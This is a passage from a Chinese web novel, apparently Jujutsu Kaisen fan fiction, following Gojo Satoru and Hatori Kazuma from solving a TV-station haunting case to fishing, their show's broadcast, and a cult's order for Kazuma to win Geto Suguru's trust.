五条悟开口就毫不客气的威胁起人来。 “你要不要听我给她打个电话,然后看着你就像被高温烤化的黄油,慢慢融化成地上随便用拖把就能打扫干净的一滩液体呢?” 虽然不确定羽取一真介绍的这个术式是不是真的,但不妨碍他将这个当成真的,然后把这主持人吓得半死,看着他整个人肉眼可见的灰败下去。 “原来这才是你们突然出现在这里的原因吗……” 被诈了个彻底的主持人喃喃一句,彻底放弃将自己从那场事故中撇清关系了。 “那位工作人员的死,是部长因为过于贪心导致的失控结果……起因是上个月,佐木杏理的姐姐在那期整蛊节目的录制过程中出现了意外。” “那次的整蛊点子是让艺人裹着厚重的棉袄和棉被烤火炉,然后不断提高室内暖气的温度,比拼谁能在这场忍受酷热比赛中获得胜利……” “和这次的点子一样垃圾。” 五条悟格外嫌弃的眯起苍瞳,把主持人吓得一抖,才敢继续往下说。 旁边的部长隐隐有要醒来的迹象,被羽取一真干脆利落的一拳揍晕,继续倒在废墟里不省人事。 “总之,那个时候有扛不住的艺人会提前认输,佐木花衣她非要一直扛着,可能想拼个优胜吧……结果因此中暑,控制不住的栽向了火炉,引发着火事故。” “当然我们也是立刻扑灭火,把她送到了医院……听说最后人没事,但烧伤很严重,脸也彻底毁容了。” 主持人紧张道,“当时节目组给了在场所有目击者一笔封口费,不希望这种恶劣事件导致节目收视率下降,可没想到过去几天后,还是出现了工作人员深夜离奇死亡的意外!” “真的,部长说只是一个意外,他已经处理好了,让我放心,顺便留意最近有没有一个白发蓝瞳、名字叫五条悟的少年出现在大楼里……但我根本不知道到底发生了什么……” “……原来如此。” 五条悟皱了皱眉毛,不太高兴自己听到的真相竟然是这样。 脸被毁容,对于想出名的佐木花衣来说,简直就和杀了她没什么两样。 因此,躺在病床上的佐木花衣这份怨恨之浓烈,远超部长的预计,导致他没能及时处理演播室内被迅速拔高的负面沉淀,才会提前催生出咒灵来袭击工作人员。 即使后续他立刻祓除掉咒灵,清扫产生的咒力残秽,引导警察将此次事件定义为自杀,想要以此来掩盖咒灵出现过的痕迹,让这一切都静悄悄的过去——却没想到,有人匿名将这一切编纂成了[闹鬼事件],在论坛上大肆传播开来。 总而言之,从普通社会的刑侦角度来说,主持人确实跟两起案件都没什么关系,也不可能有能证明他犯罪的证据。 毕竟,说出去他也只是往观众席的座位下贴纸而已,这能有什么影响? 他现在会这么害怕,不过是担心五条悟和羽取一真杀了他而已。 但他是非术师,根本看不见咒灵,做的事情也是被部长逼着参与的,其实是他们这些咒术师需要保护的对象。 “——唉。” 五条悟猛吸了口气,又相当夸张的叹出来——接着,他收起录完音的手机,拍了拍那个被他动作吓得半死主持人。 “我说啊,你还真是命大呢。” 主持人喏喏应声,完全不敢像平时节目上那样伶牙俐齿的也回五条悟几句。 “那个部长我们会带走,” 五条悟指了下那边又挨了一拳的诅咒师,目光重新落在他身上。 “至于你的所作所为,我会如实汇报,就看上面怎么处理了。” 就在主持人刚要为自己的暂时捡回一条命而舒气,又听到五条悟说了句“但是”——瞬间心又提起来。 “你必须想办法,让这个节目承包杏理姐姐后续的所有医疗费和精神赔偿之类的费用。” 五条悟站起身,居高临下看着浑身狼狈不堪的主持人。 “嗯对对,还有那个我们今天得到的优胜奖来着,杂志封面的拍摄和采访?” ——五条悟望向羽取一真,后者点头确定就是这个。 “也安排给小杏理吧——不要说你做不到喔,我会盯着你的。” 五条悟拎起那个被揍得脸肿了一圈的诅咒师,看着主持人苦着脸举手承诺一定会照做,才跟羽取一真离开了这间部长办公室。 幸好这间办公室的装修很豪华,隔音效果也很好,才让五条悟闹出的动静没有传出去。 站在去往一楼大厅的电梯里时,五条悟还特意问羽取一真。 “你的术式真是那个?” “不是。” 羽取一真摇了摇头,将那张五条悟刚才递给他的符纸,又重新展开给五条悟看——被撕下了一个角。 他只是随便给那个主持人吃了团没有任何作用的纸,然后骗他撒谎会死而已。 五条悟瞬间就笑出了声,笑得格外狡黠又愉快,半点也没有刚才面对敌人时冰冷无情的模样。 “我猜也是!” 他甚至伸出拳头和羽取一真的亲昵碰了碰,以庆祝他们刚才的默契十足。 但这时候的五条悟,明显还忘记了一点。 电梯门一开,他单手拖着昏迷的部长,和羽取一真两人大大方方往外走的举动,直接惊掉了一群目击者的下巴。 所有视线,都瞠目结舌的汇聚在两位少年、以及被其中那位白发少年拖在身后、西装上浸满了血、生死不知的部长身上。 于是,五条悟不得不边拖着仍旧昏迷的部长,边给辅助监督打电话。 “喂喂,你快来接我们啦,凶手找到了。” “咦,这么快……?” 第一次跟五条悟出任务的辅助监督音调都抬高了,震惊于五条悟解决任务的高效率。 毕竟[窗]来这里观测过,确定没有咒灵的痕迹,但又有极少量的咒力残秽,才将这起事件上报的,算是一个疑难杂症。 他还以为这两位要埋伏好多天才能找到线索,抽丝剥茧,慢慢找到真相来着……结果只用了半天就?? “好好,等下我就过来,等我二十分钟,不十五分钟!” “另外啦,还有一件事。” 五条悟在电话另一端开口,听起来还有点怪心虚的,连声音都放软了,似乎想要极力表现得乖巧一点。 “怎么了吗?”辅助监督困惑问道。 “咳,那个啊,因为凶手是电视台的部长来着,” 五条悟说着说着,语气又变得爽朗而轻快,还带着点拖长声调的软绵绵,颇有点想要萌混过关的意思。 “我把他带出来的过程中,似乎被普通人误会了什么,于是他们报警啦!现在我面前正围了一圈拿枪指着我和一真的警察呢,哎嘿。” “你能不能也顺带帮忙解决一下?” 辅助监督:“…………” 辅助解决:“哈??” 第68章 最终, 辅助监督连打数个电话,又一路飙车赶来电视台大楼,擦着汗连连鞠躬, 把接到上级撤退命令的警察们都送走了。 车门一打开, 五条悟“嘿咻”一声,把中途醒来又被打昏的部长扔进后座,然后开着[无下限]也挤进去坐好,硬把人挤去角落里瘫着。 他才不想用身体的任何部位挨着这个大叔呢,在灰尘里滚了一圈都变得脏兮兮的,用[无下限]隔开隔开。 五条悟才不可能反省就是他让这个部长瞬间从光鲜亮丽, 摔成了鼻青脸肿。 而羽取一真原本的后座位置被占,不得不坐去了副驾驶。 “请您低调行事啊, 低调行事。” 辅助监督心累到都用上了敬语。他完全没预料自己在整场任务中的贡献, 竟然是如何摆平警方那边的质询。 “就算发现了凶手也不要在光天化日下就把对方揍得半死, 然后正大光明的从电视台门口拖出来……” “我也不是故意的嘛。” 五条悟往后靠着椅背, 整个人瘫成了懒洋洋的一张饼,口中还超级无辜的解释道。 “毕竟我在诅咒师那边就跟老鼠见到猫一样啦, 一旦露面又没有及时出手,就会让他们像打洞的老鼠似的,立刻钻进地底不见了呢。” “确实……” 在这点上,辅助也不得不承认五条悟说的没错。 “但也没有这么粗暴就找到凶手的道理……你都不担心自己被捕, 然后上电视新闻的吗?幸好我及时和警方那边沟通了, 之后他们会报道说你是揭穿了杀人凶手真面目、还帮忙制服他的热心市民……嗯,至少这样一来, 堵住那边的舆论应该不成问题。” “对了,还得交代他们不要说名字和暴露照片……” 辅助监督自言自语道,先在心底记下了这件事, 突然又听见五条悟问道。 “话说我们今天参加的那期节目,什么时候播放来着?” “应该是下周二吧……慢着,” 辅助监督一脚刹车停在路边,转头看向五条悟的目光中满是震惊。 “你们去参加试镜了???” 他得到了两张困惑的脸,上面写满了[凭他们这条件,能通过不是理所应当的吗]的帅而自知。 “……………” 辅助监督沉默了,完全不知道为什么事情会变成这样的展开——真去当艺人了啊? “那只是一个幌子,让你们能自由出入电视台用的……” 谁说预约了就一定要去试镜,只要被人问起的时候有理由蒙混过去就行了嘛! 辅助监督抹了把脸,感到前所未有的心累。 “那我回头再跟电视台交涉,让他们把那期节目下架,额外再录制新的节目顶替……” 五条悟目露狐疑:“能做到吗?时间上就来不及吧。” 现在都周末了,重新录制再后期制作,哪里能赶得上周二播放? 辅助监督:“…………” 辅助监督:“那你们也不介意到时候节目被播出?” “啊,无所谓吧,反正对我又没什么影响。” 五条悟双腿交叠,随意答道。 想了想,他又补充一句,“不过嘛,到时候我肯定是要录一份,送给那些老家伙们看看的,哼哼哼……” 说到后面,五条悟简直能活灵活现的脑补出那些老头的脸是如何越看越臭的,已经开始发出恶趣味十足的窃笑声来。 辅助监督:“…………” 后座的诅咒师仍昏迷着,但浑身都哆嗦了一下,好像又回忆起了那份被无数掀起来的东西哐哐砸脑门直到昏厥的剧痛。 ………… 引发[闹鬼事件]的诅咒师被顺利交接给高专,后续的流程就不用五条悟和羽取一真处理了。 他们处理任务的速度太快,以至于这个周末都还没过完。 五条悟倒是特别期待等下周二节目播出,他将刻录下来的那盘磁带送给五条家的老头们后,会得到什么样的反应。 “反正肯定就是气得背地里破口大骂一通啦,最多发一封信过来斥责我不守规矩,身为未来的五条家主,竟然如此大张旗鼓的抛头露面之类,” 虽然都是些可以预见的老套反应,但他偏要去撩拨一下那帮总给他添堵的老头,把他们也气得吱哇乱叫才行。 五条悟撇了撇嘴,和羽取一真并肩走在尚未亮起路灯的东京街道上。 他们打算买点零食回去,再补充些生活用品。 因为咒术高专在很偏僻的远郊啊,想买什么东西都没有市区方便,种类也不如这边丰富。 “今天晚上也变闲了啊,来干点什么好呢——” 五条悟超级放松的伸了个懒腰,突然想起一件事。 “话说,你的术式到底是什么来着?我一直忘记问了耶。” “[十方摩诃],但我还不会用。” 羽取一真念出游戏给他安排的这个术式名字,顺便再确认了一次它的可用技能依旧处于锁定状态。 “十方……和空间有关?” 五条悟只敛眉思考片刻,立刻猜出了术式的核心机制。 “嗯,”羽取一真惊讶道,“你怎么猜出来的?” “十方是一个佛教用语,通常指的是东、南、西、北、东南、西南、东北、西北、上和下这十个方位,代表了其空间的无量无边。” 在许多非通用学科上,宅邸中拥有大量古藏书的五条悟所掌握的知识,要比羽取一真丰富很多。 “当然,也有另一种说法。” ——五条悟竖起食指,看向羽取一真。 “十方指的其实是上天、下地、东、西、南、北、生门、死位、过去和未来。” “不是很懂。” 羽取一真诚实摇头。 “想来也是,你平时怎么会接触到这种佛教知识,我下周正好回家一趟,把相关的资料找给你。” 五条悟笑着拍他肩膀,让羽取一真放心。 “术式往往是将某种概念带入到现实,名字则是对其核心应用法则的一种笼统概括,是自然而然浮现的。既然你已经知道了名字,就可以想象一下,当你将负面能量灌入术式时,它将会实现什么效果。” “放心啦,只要认真掌握咒力的流动和灌注,术式顺转都是相当简单就能掌握的哦!” 五条悟循循善诱,将经验尽数分享出来,但羽取一真只听得哽住。 他有预感,自己马上又要被称作咒术笨蛋了。 毕竟他的脑子归他的脑子,游戏技能归游戏技能,这两样东西根本不能混为一谈…… 羽取一真沉默着,感受到五条悟落在他身上的目光逐渐变得危险,大概意思是——你小子,咒力感知就算了,术式使用我都说这么清楚了竟然也听不会? 他教的有问题还是对方学的有问题? 先用排除法,他教的肯定没问题! 这种好像正在漂亮小悟被无声控诉的压力,让羽取一真被迫选择转移话题,几乎是脱口而出。 “那个……我们去钓鱼吧。” 第69章 “钓鱼?” 五条悟的注意力成功被转移到这样以前没接触过的休闲活动上。 或者说, 他也算是给羽取一真找个台阶下。 毕竟对方看起来乖巧又纯良,还透着点让人不忍责怪的心虚。 天赋这种东西也不能怪他嘛……五条悟想了想,觉得这也不是羽取一真的错——后者的脑子在任务里挺好使的, 反应也很快。 非家系的术师确实在一开始会比较难理解啦, 区区术式而已,等他换个方式再教几遍,肯定很快就能找到诀窍的! “嗯,钓鱼很有意思的。” 羽取一真也很庆幸自己能转移话题成功。 “具体有意思在哪里?” 五条悟好奇追问。 “钓鱼的乐趣就在于,嗯……” 羽取一真仔细思考许久,才缓缓回答道。 “你永远不知道自己的下一竿能钓上来的是什么, 以及多久才能钓到东西。” 五条悟:“…………” 五条悟困惑挑眉:“这听起来,怎么好像钓上来的还能不只是鱼?” “河里飘着的东西也不只有鱼。不过之前有一次, 以为钓上来的是一条大鱼, 结果努力跟河里的鱼搏斗了半天, 一点点收线以后……” 羽取一真想起上周目的漂亮大悟一手拎鱼竿, 另一只手气得对着虚空挥了几下拳头,话语里情不自禁泛起些许笑意。 “结果钓上来了个板凳?” 五条悟也顺着思路猜测。 “不, 钓上来的确实是条大鱼。但它的力气太大,挣脱钩了。”羽取一真微微摇头,揭晓谜底。 “等把线彻底收回来,发现只剩下一圈鱼嘴还挂在钩上。” 五条悟当场就乐出了声。 “那我就来试试好了, 反正晚上也是闲着。但是说好哦, 我以前从来没有钓过鱼,可别到时候故意笑话人——否则就把你明天午饭里的炸肉饼吃掉!” 校服的上衣外套没有口袋, 他习惯性将双手插在裤子口袋,歪着头想了下,发现自己确实没有什么拒绝的理由, 便欣然同意。 正好他也可以体验下钓鱼到底有些什么新奇的乐趣。 难不成比打游戏还要好玩? 至于钓鱼需要些什么东西,五条悟是一概不知的,于是便由羽取一真带路,去了之前熟悉的渔具一条街里买齐适合新手河钓的鱼竿、钓线、鱼钩、饵料、塑料桶以及一系列配套的东西。 五条悟第一次知道原来钓鱼的鱼竿、鱼钩和饵料都有这么多讲究,还要根据不同的鱼类、不同的垂钓区域来选择不同的款式。 因为他们只是钓着玩,羽取一真便按照之前漂亮大悟使用习惯,买了台钓竿、伊势尼钩和软尾浮漂,交给五条悟。 五条悟似乎连这钓鱼的准备工作也觉得有意思起来了,高高兴兴扛着羽取一真买给他的鱼竿跟在身后,另一手还拎着与他气质截然不符的大红塑料小桶,用来等会放战利品。 让五条家的那帮老家们看见,大概又要吹胡子瞪眼不知道多久,哈哈。 五条悟已经觉得自己的兴致被调动起来了,这种能在现实中拥有极强参与感的娱乐活动可不多见,甚至还有一种莫名的期待与兴奋,充斥着他的头脑——让他暗暗下定决心,这次一定要钓到数量多多的鱼! 咦,为什么是“这次一定要”? 墨镜后的那双苍瞳茫然眨了下,困惑起来的五条悟兀自琢磨许久,只能将这归咎于他的好胜心,所以才会在钓鱼上也要体现出自己的拿手……应该是这样没错! 五条悟边出神边跟着前面人的身影走,蓦然发现自己已经走进一股熟悉的浓郁甜味里——是奶油与砂糖混合的香气! 一抬头,发现他们已经进了点心屋,而羽取一真正指着一块造型漂亮的芒果慕斯,麻烦店员小姐姐帮他包起来。 “……嗯?鱼也吃慕斯??” 刚才还沉浸在钓鱼大业里的五条悟脱口而出。 然后,五条悟看见羽取一真还拿了袋各种口味都有的水果糖,和芒果慕斯一起结完账后,递给他。 “这些是等会钓鱼时,给你准备的甜食。” 不是给鱼吃的,是给你吃的。 那双黑瞳缓慢眨动了下,于是,五条悟总感觉自己似乎隐约窥见了浮动在其中的些许笑意——带着点忍俊不禁,又透出一本正经的揶揄。 “…………” 那句还没说出口的“我也要吃”,被五条悟默默咽了回去,转而盯着那个包装精美的纸盒,又抬头瞪着人。 他有点想冲人嘟囔一句“既然是买给我的,你怎么不问我一声就直接买了嘛”;但从另一方面而言,如果要他选,他确实也会在这些甜品里选芒果慕斯…… 还有那袋又圆又大的水果糖也是。 可恶,微妙的感觉自己被拿捏了,胸口好像堵着团棉花糖,还是甜滋滋的那种。 有那副镜片完全漆黑的墨镜遮挡,五条悟那干巴巴、毫无攻击性的瞪视没有被羽取一真接收到半分。 反而是他一手拎桶,一手扛钓竿的姿势,让羽取一真误以为五条悟半晌没动,是在表示自己没有手接。 于是他露出一个小小的恍然表情,弯下腰,体贴的直接将纸盒放在了那个等会准备装鱼的红桶里,间接等于五条悟拎着了。 五条悟:“…………” 这下,更像是要给鱼吃的了。 不对,这是等会他要吃的,所以这个是他还没钓鱼前就先钓上来的战利品? 五条悟眨巴了下眼睛,说不上来什么感觉。 非要形容的话……堵在胸口的棉花糖变得更大团了。 相比之下,羽取一真完全没觉得这样有哪里不对——不管是几周目的五条悟,他相信对方都不可能愿意长时间干坐在河边,不想吃点什么小零食的。 漂亮大悟都爱吃,漂亮小悟肯定也至少不会讨厌吧? 羽取一真会在买渔具的时候顺带买这些,完全是和漂亮大悟出去钓鱼次数多了后,被养成的某种条件反射。 不顺带买点甜食,总感觉少了点什么。 啊不过,看着漂亮小悟半天站着不动,确实也有可能不想吃芒果慕斯。 于是,羽取一真贴心的又问他。 “你还有别的想吃吗?” 这话把五条悟问哽住了,好半天才鼓起脸嘟囔了句“没啦!”,便几步跨去点心店门外,站在那等羽取一真跟上。 羽取一真看着不远处那头好像翘得更厉害的白毛,缓慢打出一个问号。 漂亮小悟确实和漂亮大悟不一样,情绪会突然变得他有点难以捉摸…… 但还是很可爱。 羽取一真带着五条悟来到荒川河边,凭经验找了条比较容易钓上鱼的水域,便开始组装钓竿。 他组完自己的那份,正要来帮五条悟也组好,却发现对方拼竿身、装竿尖、调整线圈、固定鱼漂、绑鱼钩,整套动作行云流水、一气呵成。 动作之标准熟练,完全看不出来是第一次出门钓鱼。 见到羽取一真要来帮他,五条悟得意冲人一耸肩,连往鱼钩上捏饵料的姿势都熟稔得很。 “要不怎么说我是天才呢,一上手这东西就知道该怎么用啦!” 压根不需要看说明书也不需要别人帮忙,哈哈,他根本就是天生的钓鱼行家! “哦……” 羽取一真惊讶睁大了点黑瞳,“那真的是很了不起。” 不愧是五条悟,哪怕现在只有15岁,钓起鱼来也是这么拿手啊,连甩钩出去的架势都几乎一致。 既然他不用帮忙,羽取一真也安心在自己的那个位置上坐好。 天边的残阳即将落尽,整条河流泛着灿烂的金红,缓慢的、缓慢的朝尽头流淌而去。 他刚进咒术高专念书没多久,此刻的时节仍是春季,连迎面拂来的微风也只觉得凉爽。 身边传来窸窸窣窣的声音,是五条悟等了会儿见没有鱼上钩,开始拆那个大包装的糖果袋子,在里面挑挑拣拣口味来吃。 又过了片刻,一只手戳了戳羽取一真,示意他伸手来接。 “给啦,这是你的份。” “哦,谢谢。” 羽取一真的目光仍落在河面,随手拿过那颗被五条悟递过来的糖,撕开包装,放在口中。 然后,他的动作顿住了。 漂亮大悟会喜欢在这家店买糖果的原因,是它会把水果糖做成略带一点碳酸汽水的特别口感,而不仅是单纯的水果甜味。 此刻弥漫在他口中的,是酸甜的苹果汽水味。 羽取一真下意识转头看向五条悟,发现他正将糖果咬得咯啦咯啦作响——似乎并不习惯含着等它缓慢化开,而是干脆利落的咬碎掉。 察觉到羽取一真在看他,五条悟便也停下正准备拆芒果慕斯的动作,疑惑回以对方一记超萌的歪头,好像在问“怎么了”。 “不喜欢苹果味?” 五条悟开口,“真奇怪,我还以为你会喜欢苹果味的糖果。” 羽取一真卡壳片刻,才回以一个问句:“你为什么会觉得我喜欢苹果味的?” “啊,这还要理由吗?……就是觉得你适合这个味道,没什么理由。” 五条悟苦恼的琢磨片刻,放弃给自己找理由。 “不喜欢苹果味就吐出来啦,这里还有很多别的味道,你自己来挑——” 在五条悟过来摇着羽取一真肩膀,似乎想让他别勉强自己直接吐之前,羽取一真的唇角先一步紧紧抿起,一副打死也不吐的架势。 “不,我很喜欢。” 学着五条悟也直接咬碎糖果后,羽取一真才出声回答道。 吐字间,尽是清甜的苹果香气。 第70章 虽然羽取一真说自己很喜欢, 但五条悟似乎误会成他在说反话,是照顾他的情绪。 于是,在剩下的那袋糖果里, 羽取一真再没有吃上第二颗苹果味的。 就像是补偿似的, 连芒果慕斯都让五条悟狠狠心,切了一半分给他。 那副忍痛割爱的表情,让羽取一真有点想笑。 早知道就买两块了……不,要是买两块就见不到漂亮小悟这副表情的话,他岂不是很亏。 这场首次聚在忘川河畔的钓鱼,以两条不足巴掌大的小鱼收尾。 或许五条悟的天才头脑可以用在各种领域上, 让他所向披靡。 但钓鱼这种事情,根本不是说随着理论知识和实战经验提高, 就一定会丰收的。 它更多的是一种……运气。 ……没别的可说, 就是运气。 “怎么会这样!” 五条悟回去的一路上都是气鼓鼓的。 “ 我明明盯着那条鱼游过去的, 它甚至碰了碰钩……就是不吃, 可恶,就是不吃!” “你竟然能看见鱼游过去啊?”羽取一真惊叹道, “这也是[六眼]赋予的能力吗。” “…………” [六眼]当然做不到这个,他这只是夸张说法……! 五条悟当场被哽了下,转头瞪着羽取一真——过了片刻,他幽幽出声。 “当然不是[六眼]看见的……它是用来观测咒力的, 又不是用来盯鱼的。” “……噢。” “…你是不是在偷偷用眼睛笑话我?我看见了哦, 我的[六眼]看得超清楚!” “咳,没有。” “……你这不是就在心虚吗。” “那个……” ………… 等五条悟很是财大气粗的深夜打车回高专, 跟羽取一真来到宿舍楼底下时,正好和回来的夏油杰以及家入硝子撞上。 看着两个挽起袖口,肩上扛着鱼竿, 一人拎塑料红桶,一人拎饵料袋的羽取一真和五条悟,夏油杰沉默了。 这两位不像是去做任务,更像是去河边玩了通泥巴啊。 “你们这是……” 他正要开口,就被五条悟立刻抢话,还格外得意的一拎塑料红桶示意他们看,格外骄傲。 “这两条鱼都是我钓的!” 夏油杰面带微笑:“………?” 有没有一种可能,他想问的不是为什么钓了两条鱼回来…… “我是不关心钓鱼啦……任务完成了?”家入硝子问。 “当然,完美搞定。” 五条悟冲她眨了个单眼wink,“下周二还能看见我变成大明星哦,记得收看下午五点的东京电视台!” “意义不明……” 家入硝子摸了摸口袋,发现棒棒糖已经被消耗一空的她叹息出声,连语气也变得相当敷衍。 不如说刚入学的同期突然变成大明星这种事,怎么听都更像是夸大其词吧。 “如果有空的话我会看的,嗯,我刚和夏油赶回高专超累,现在要去睡觉啦,你们也早点休息……” 困恹恹的家入硝子摆了下手,往她的宿舍走去。 夏油杰倒是和五条悟交流了下互相具体的任务内容——当他听到五条悟在人来人往的电视台里,直接拖着头破血流的部长走出门,然后被警察团团围住的时候,表情顿时变得相当微妙。 那种想笑又强行忍住,明明透出点无可奈何,却又强行让自己继续保持在善意微笑的复杂神情上。 “你对诅咒师还真是相当不客气啊。” 最后,夏油杰只是这么顺着说道。 “对诅咒师就没必要留手了吧。” 五条悟撇了下嘴,“诅咒师可不是随便就被定义为诅咒师的,他们对普通人出手的危害可比一般咒灵大得多。” 还超级会藏,总而言之是群实力很弱、但处理起来很麻烦的家伙。 “嗯,我也这么认为。” 夏油杰赞同点头,“来这里上学之后,我也算是大概了解过诅咒师的性质……那种对术师、对弱者都肆意出手的家伙,不可原谅。” 羽取一真在旁边听得无语。 这人还好意思在这里说得振振有辞,一周目的时候是谁三番四次的来算计他,害得他拼死也要跟这家伙同归于尽,最后变成开二周目的? 他还想算计漂亮大悟! 啧,果然反派都很会伪装。 被那双偏冷的黑瞳始终沉默盯着,让夏油杰总感觉那股微妙的、寒毛直竖的感觉又出现了。 好奇怪,他明明还没跟对方说过几句话来着…… 夏油杰的微笑表情里终于掺上些许无措与迷茫。 但对方没有开口,他也不好直接问——这样会让场面显得更加尴尬。 “下周二的节目我会看的,” 夏油杰只能选择赶紧这段站在宿舍走廊里的对话。 “悟,恭喜你钓上了,嗯……两条鱼。” 五条悟:“…………” 两条鱼怎么了,他来钓还未必有两条呢!哼,没去河里钓过鱼的人根本不懂他一晚上能钓到两条鱼的含金量。 微妙感到不爽,但又没办法把人喊回来解释的五条悟转过脑袋,恰好看见羽取一真也同时望过来,对他对视。 见到这位眉毛都快拧巴在一块的赌气小悟,羽取一真开口。 “我来炖鱼汤泡饭给你当夜宵。” 像这种河里钓上来的小鲫鱼,虽然用来做鱼汤泡饭会很鲜美,但小鱼刺也相当多,必须要先仔细把刺全部挑出来,是一道非常考验耐心的料理。 五条悟的表情立刻又变得开开心心。 “好耶!” 钓鱼果然很有意思! ——虽然到了第二天的上课,五条悟又开始打呵欠嫌无聊了。 因为上周是他们就读高专以来的初次任务,夜蛾正道还特意用一节课的时间给他们做复盘。 夏油杰和家入硝子的任务是中规中矩的祓除咒灵兼布置辟邪物,去那栋废弃医院祓除的咒灵也不算高阶,只是路途比较遥远,要坐新干线来回。 但讲到五条悟和羽取一真的任务时,夜蛾正道对着那份交上来的报告格外无语。 “什么叫[凭实力通过节目试镜]、[获得了大赛优胜并转赠奖品]、[第一次被警察用枪指着好新鲜]、[在初次钓鱼中就收获了足足两条鲫鱼,做出来的鱼汤泡饭超好吃]……” 夜蛾正道将那页纸拍在讲台上。 “这份报告谁写的,我是让你们交任务报告,不是写春游心得体验!还有节目试镜和钓鱼是怎么回事?和这次的任务有关系吗?” 除去教学所占用的时间之外,咒术界常年的人手不足导致夜蛾正道自己也需要去做任务,因此周末并不在高专。 他还是在拿到报告后,才知道五条悟和羽取一真干出来的这些事。 五条悟举起手,墨镜后的苍瞳一眨一眨。 “是我写的——而且全部属实哦——” “我没说你不属实。”夜蛾正道心累得捏了捏鼻梁。 “但你会不会觉得,我们最好得低调行事?” 还有钓鱼?到底任务里的哪个部分需要钓鱼?? 对此,五条悟露出一个超级可爱的、一看就是在试图萌混过关的表情。 “哈哈——晚啦!” 夜蛾正道:“………” 夜蛾正道:“嗯?” 第二天,他就知道为什么说晚了——因为五条悟和羽取一真参加的那期节目,播出了。 而以五条悟的颜值之绝,想不火都得是观众集体眼瞎的难度。 尤其他反过来戏耍主持人,明明比对方略矮,却好似居高临下的冷漠态度,那慢条斯理移开对方话筒的动作,不同机位切出的每个视角都帅得惨绝人寰,让观众截图疯狂传播。 包括他凑近在同样是冷面酷哥的羽取一真耳边讲悄悄话,又转回头偷笑的反应,都有无数人留言想知道——他们到底在说什么啊啊我也要听!! 包括后面他和羽取一真明明获得整蛊比赛优胜却又自愿放弃,让主持人帮忙转赠给佐木杏理的潇洒,更是瞬间吸引了一大波嗷嗷叫的粉丝。 五条悟!五条悟!他们要看到杂志专访超帅气又体贴,一举一动都让人挪不开眼的五条悟!! 原本只是同意挂靠下名字的事务所电话都被打爆了,只好转而打给上次和他们接洽的辅助监督,问一下能不能允许给五条悟和羽取一真安排一次杂志专访,稍微安抚一下快冲到事务所来堵门的热情粉丝们。 辅助监督也满脸懵逼,又把电话打给夜蛾正道,问能不能让五条悟和羽取一真参加采访。 至于为什么不打给五条悟?因为他特意带着录像带回了趟京都五条家,正在看那帮老头气急败坏模样的乐子呢。 暂时没有空接电话啦。 而羽取一真,此刻同样接到了他明面上的监护人——酒见绫子的电话。 “你为什么去参加节目了?” 她同样难以置信,“你知道当教徒拿着截图来问我和[圣子大人]是不是同一人的时候,我有多震惊吗?” 羽取一真想了想,很敷衍的回答她。 “任务需要。” “你的任务是和五条家的[六眼]参加节目,然后表现得跟他格外亲近,差点让教祖大人以为我们【星之子之家】分会背叛了盘星教,去向咒术界示好?” “…………” 羽取一真沉默片刻,开口却说:“原来教祖大人也看整蛊综艺啊。” 酒见绫子被哽住了。 “…………重点是这个??” “…请说。” 为了获取情报,羽取一真愿意暂时放低姿态。 “来自教祖大人的命令,” 酒见绫子深呼吸一下,才维持冷冰冰的姿态对他开口说道。 “接近夏油杰,获取他的信任。” 羽取一真:“…………” 这姿态真是不能放低一点! 第71章 接近夏油杰这种命令, 羽取一真很好理解。 毕竟就算是未来的反派,也需要有个契机让他成为反派——包括羽取一真自己在二周目里,应该也算是被反派划分到阵营里的人。 也就是说, 夏油杰之所以未来会成为反派, 搞不好就是这位教祖大人的阴谋。 但为此竟然要他去刻意接近夏油杰,获得他的信任…… 羽取一真当场就想拒绝。 电话另一端的酒见绫子见羽取一真半天没有回答,又语气严厉的开口说道。 “听到了就回答。” “…………” 羽取一真当然想要说不,但系统却在此刻弹出一个浮窗,上面写着—— 【当前触发委托: 酒见绫子的指示:请在规定时间内,让夏油杰对玩家的信任度达到80%。 夏油杰的信任度:2%/80%。 奖励:获得技能<术式顺转·裂>。】 ……竟然还是相当重要的技能解锁。 “…………” 羽取一真的黑瞳暗沉沉盯着这行奖励字样——即使他此刻再不爽得想要将它瞪穿, 也无法阻止这个倒计时好似盛满的沙漏那般,一秒一秒地朝着归零跳动。 好处是它的时间很长, 羽取一真有一整个学年那么长的时间来完成这个委托。 坏处是羽取一真根本不想做这个委托。 不仅不想做, 他还盘算过要不要将夏油杰扼杀在反派的摇篮里。 “…遵命。” 没有等酒见绫子再催促第二次, 羽取一真还是按照之前在【星之子之家】那时被教过的回复方式, 用一句[遵命]把这个话题打发了。 委托大不了不做,但羽取一真现在更想知道另一个情报。 “教祖大人目前在哪里, 我能见到吗?” 要不他就直接杀上门吧,这二周目玩到目前,发布的任务和委托怎么都是有利于反派的,让羽取一真有点不太高兴。 就算打不过, 至少也得知道这个所谓的[教祖大人]的真正身份。 “收起你的妄想, ”酒见绫子断然否决他的打算,“教祖大人岂是我们能见到的人。” “……即使是【盘星教圣子】也不行?” 羽取一真沉默片刻, 困惑反问,“按照我的圣子身份,我应该是教祖的……” “住口!”酒见绫子提高声调。 “我等确实并不清楚为何教祖大人指名你为圣子, 但既然你在此之前并未见过教祖大人的真身,就不要指望自己往后也能见到,毕竟教祖大人可是一手创立了盘星教、堪称不死不灭的伟大……” “不死不灭?” 羽取一真瞬间捕捉到了这个关键词。 在一周目里,漂亮大悟和他也猜测过那个真正在暗地里操控整个咒术界的幕后黑手,就是时间跨度长达数十年之久的某个[存在]。 这个[存在]或许是团体,也或许是个人。 如今听到那位所谓的[教祖大人]被如此形容,羽取一真不太确定这到底是宗教里给教祖的惯用夸张形容词,还是真的“不死不灭”。 而电话另一边,酒见绫子的虔诚吟唱被羽取一真打断,顿时变得格外没好气道。 “你不要妄想多余的事,乖乖听从教祖大人的指令就行。等教祖大人什么时候想见你,自然也会有相应的指示。” 听到这位教祖大人酒见绫子的话里,全程竟然连性别代称都没有,羽取一真安静片刻,出声问她。 “你是不是也从来没见过教祖大人的真身?” 嘟—— 羽取一真的电话被骤然挂断了,只能坐床边盯着通话结束界面发呆。 小气,怎么一句话都能听破防。 看来还得靠他自己找到教祖大人的身份——羽取一真总觉得,对方跟上周目那个【夏油杰(已故)(?)】脱不开干系,搞不好就是一伙的。 至于委托,羽取一真决定随缘。 谁要真的去刻意接近夏油杰、获取他的信任啊,羽取一真半点都提不起劲。 实在完不成委托就拉倒,到时候就对着酒见绫子说他尽力了,是夏油杰太多疑,关他什么事。 毕竟五条家的[六眼]都能和他处得来,那肯定不是他有问题,是夏油杰有问题。 至于技能,大不了不要了,漂亮小悟又没介意过他是个咒术笨蛋。 